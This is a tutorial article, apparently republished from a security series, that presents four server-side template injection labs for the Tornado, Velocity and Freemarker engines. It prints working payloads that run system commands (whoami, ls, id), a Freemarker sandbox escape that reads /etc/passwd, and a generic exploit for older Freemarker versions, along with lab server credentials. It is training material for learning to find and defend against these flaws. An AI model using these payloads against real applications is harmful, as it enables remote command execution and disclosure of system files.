Explore Server‑Side Template Injection Labs: Tornado, Velocity & Freemarker
This article continues a series on server‑side template injection by presenting four hands‑on labs covering Tornado (Python), Velocity (Java), Freemarker (Java) and a Freemarker sandbox‑escape, detailing syntax basics, attack surfaces, exploit payloads, defensive measures, and step‑by‑step exercises.
In the previous article we introduced the concept of template injection vulnerabilities, detection methods, and two engine‑specific exploits; this continuation presents four additional template‑engine‑related injection labs.
6. LAB 3: Tornado (Python)
Introduction
Tornado's template engine is part of the popular Python web framework Tornado. The exercises are simple, showing that reading library documentation can reveal powerful features.
Template Syntax Basics
Hello {{userName}}Attack Surface
It is simpler than Jinja2 because it supports an import directive that works like Python's import. {%import os%} The import directive must be wrapped in {…}. A full payload to import the os module and execute whoami looks like:
{%import os%}
{{os.popen("whoami").read()}}Exercise
To complete the lab, connect to the web server http://template-injection.gosec.co:8013/ .
This service simulates a scenario where each form submission triggers an email; the above method can be used to exploit the vulnerability and retrieve flag.txt.
7. LAB 4: Velocity (Java)
Introduction
Velocity is one of the most popular Java template engines; we chose it because its exploitation difficulty is higher than Freemarker.
Template Syntax Basics
Reference: Velocity official documentation.
Attack Surface
James Kettle's original payload requires activating the optional ClassTool plugin.
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")In this article the plugin will not be enabled. Velocity also supports variable assignment:
#set( $foo = "bar" )
$fooA payload that creates a Runtime instance and executes ls without the plugin:
#set( $x = '' )##
#set( $rt = $x.class.forName('java.lang.Runtime') )##
#set( $ex = $rt.getRuntime().exec('ls') )##
$ex.waitFor()
#set( $out = $ex.getInputStream() )##
#foreach( $i in [1..$out.available()] )
$chr.toChars($out.read())
#endExercise
Connect to http://template-injection.gosec.co:8013/ and log in with credentials admin/123456 to access the admin functionality.
8. LAB 5: Freemarker (Java)
Introduction
Freemarker is another popular Java template engine that evolves faster than Velocity.
Template Syntax Basics
${message}
${user.displayName}Attack Surface
Freemarker provides many built‑in functions; most are harmless, but the new built‑in can create arbitrary Java objects, potentially leading to security issues.
Example of using new to instantiate Execute and run a command:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }Exercise
Connect to http://template-injection.gosec.co:8025/ and log in with admin/hackfest to access the admin panel.
9. LAB 6: Freemarker Sandbox Escape
Freemarker Sandbox
Freemarker can restrict which classes are accessible via a custom TemplateClassResolver implementation.
Finding ClassLoader References
Common APIs that return a ClassLoader can be accessed in Freemarker syntax, e.g.:
${any_object.class.classLoader}
${request.servletContext.classLoader}Reading Files / Directory Listings
Example payload to read /etc/passwd:
<#assign uri = classLoader.getResource("META-INF").toURI() >
<#assign url = uri.resolve("file:///etc/passwd").toURL() >
<#assign bytes = url.openConnection().inputStream.readAllBytes() >
${bytes}Since byte arrays are not auto‑converted to strings, individual bytes can be printed:
${bytes[0]}
${bytes[1]}
${bytes[2]}
...General Exploit for Freemarker ≤2.3.29
A universal payload that obtains a ClassLoader, loads Execute, and runs a command:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}Exercise
Connect to http://template-injection.gosec.co:8026/ . This instance limits class access, so the Execute class cannot be used directly. Log in with admin/hackfest to access admin functions.
10. Conclusion
Template engines are powerful and should be treated as scripting environments; without strong sandboxing they can expose the underlying operating system to severe risks.
References
Server‑Side Template Injection – Slides & White‑paper by James Kettle
Room for Escape: Scribbling Outside the Lines of Template Security – Slides & White‑paper by Oleksandr Mirosh and Alvaro Muñoz
Exploitation of Server Side Template Injection with Craft CMS (Twig template)
Cheatsheet – Flask & Jinja2 SSTI
PayloadsAllTheThings: Community Github repository
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Programmer DD
A tinkering programmer and author of "Spring Cloud Microservices in Action"
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
